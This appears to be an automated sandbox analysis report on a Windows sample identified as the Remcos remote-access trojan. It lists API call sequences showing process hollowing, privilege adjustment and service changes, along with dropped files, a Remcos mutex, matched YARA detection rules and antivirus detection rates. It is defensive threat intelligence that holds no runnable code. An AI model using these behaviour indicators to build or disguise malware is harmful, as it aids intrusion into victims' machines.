Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_0403C4DC NtOpenFile,NtReadFile,	6_2_0403C4DC
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_04037968 NtAllocateVirtualMemory,	6_2_04037968
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_04037966 NtAllocateVirtualMemory,	6_2_04037966
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1576D58F NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,	6_2_1576D58F
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1576BB35 OpenProcess,NtResumeProcess,CloseHandle,	6_2_1576BB35
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1576BB09 OpenProcess,NtSuspendProcess,CloseHandle,	6_2_1576BB09
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157632D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,	6_2_157632D2
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_0409C4DC RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	7_2_0409C4DC
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_04097968 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	7_2_04097968
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_0409C368 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	7_2_0409C368
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_0409C3F8 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	7_2_0409C3F8
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_0409C3F6 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	7_2_0409C3F6
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_04097F48 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread,	7_2_04097F48
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_04097F46 CreateProcessAsUserW,GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,NtResumeThread,	7_2_04097F46
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_04097966 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	7_2_04097966
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_04097AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	7_2_04097AC0
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15ECD58F NtdllDefWindowProc_A,GetCursorPos,SetForegroundWindow,TrackPopupMenu,IsWindowVisible,ShowWindow,ShowWindow,SetForegroundWindow,Shell_NotifyIcon,ExitProcess,CreatePopupMenu,AppendMenuA,	7_2_15ECD58F
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15ECBB35 OpenProcess,NtResumeProcess,CloseHandle,	7_2_15ECBB35
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15ECBB09 OpenProcess,NtSuspendProcess,CloseHandle,	7_2_15ECBB09
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EC32D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,	7_2_15EC32D2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_03F7CA6C CreateProcessAsUserW,WaitForSingleObject,CloseHandle,CloseHandle,

0_2_03F7CA6C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_160367B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,	0_2_160367B4
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157667B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,	6_2_157667B9
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EC67B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,	7_2_15EC67B9

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16058770	0_2_16058770
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_160574E6	0_2_160574E6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1605E558	0_2_1605E558
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1605E2FB	0_2_1605E2FB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1607332B	0_2_1607332B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1604739D	0_2_1604739D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1605E0CC	0_2_1605E0CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1603F0FA	0_2_1603F0FA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16074159	0_2_16074159
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16058168	0_2_16058168
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_160661F0	0_2_160661F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16046E0E	0_2_16046E0E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16055E5E	0_2_16055E5E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1605DE9D	0_2_1605DE9D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16033FCA	0_2_16033FCA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16056FEA	0_2_16056FEA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16057D33	0_2_16057D33
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16047A46	0_2_16047A46
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1603DB62	0_2_1603DB62
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16047BAF	0_2_16047BAF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_160578FE	0_2_160578FE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16053946	0_2_16053946
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1606D9C9	0_2_1606D9C9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F620C4	0_2_03F620C4
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_040220C4	6_2_040220C4
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1578E558	6_2_1578E558
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157874E6	6_2_157874E6
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15786FEA	6_2_15786FEA
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15785E5E	6_2_15785E5E
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1578DE9D	6_2_1578DE9D
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15783946	6_2_15783946
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157961F0	6_2_157961F0
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157878FE	6_2_157878FE
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1578E0CC	6_2_1578E0CC
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_157A332B	6_2_157A332B
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1578E2FB	6_2_1578E2FB
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1576DB62	6_2_1576DB62
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_040820C4	7_2_040820C4
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15ECDB62	7_2_15ECDB62
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EEE558	7_2_15EEE558
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE74E6	7_2_15EE74E6
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE6FEA	7_2_15EE6FEA
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EEDE9D	7_2_15EEDE9D
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE5E5E	7_2_15EE5E5E
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EF61F0	7_2_15EF61F0
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE3946	7_2_15EE3946
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE78FE	7_2_15EE78FE
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EEE0CC	7_2_15EEE0CC
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15F0332B	7_2_15F0332B
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EEE2FB	7_2_15EEE2FB

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 16021E65 appears 35 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 16054770 appears 41 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 03F644A0 appears 67 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 16054E10 appears 54 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 03F77BE8 appears 45 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 16022093 appears 50 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 03F64824 appears 882 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 03F64698 appears 247 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: String function: 03F66658 appears 32 times
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: String function: 04024824 appears 628 times
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: String function: 04024698 appears 156 times
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: String function: 04026658 appears 32 times
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: String function: 15784E10 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: String function: 04084698 appears 156 times
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: String function: 04086658 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: String function: 04084824 appears 628 times
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: String function: 15EE4E10 appears 54 times

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2147600638.0000000015D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2161341273.000000007FC80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2135408936.0000000000A3F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000007.00000002.2434683424.0000000015F1B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000006.00000002.2280916321.00000000157BB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000002.2571697457.000000001566B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000008.00000002.2521921052.0000000015E9B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: Tuscpznj.PIF PID: 2544, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: adode.exe PID: 4080, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: adode.exe PID: 3184, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: Tuscpznj.PIF PID: 3708, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@10/648@6/3

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16037952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	0_2_16037952
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15767952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	6_2_15767952
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EC7952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	7_2_15EC7952

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_03F67F90 GetDiskFreeSpaceA,

0_2_03F67F90

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1602F474 GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

0_2_1602F474

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_03F76D84 CoCreateInstance,

0_2_03F76D84

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1603B4A8 FindResourceA,LoadResource,LockResource,SizeofResource,

0_2_1603B4A8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1603AC78 OpenSCManagerW,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

0_2_1603AC78

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

File created: C:\Users\Public\Libraries\Tuscpznj

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe

Mutant created: \Sessions\1\BaseNamedObjects\Rmc-3N0E9G

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

File created: C:\Users\user\AppData\Local\Temp\Skype

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Virustotal: Detection: 41%
Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	ReversingLabs: Detection: 65%

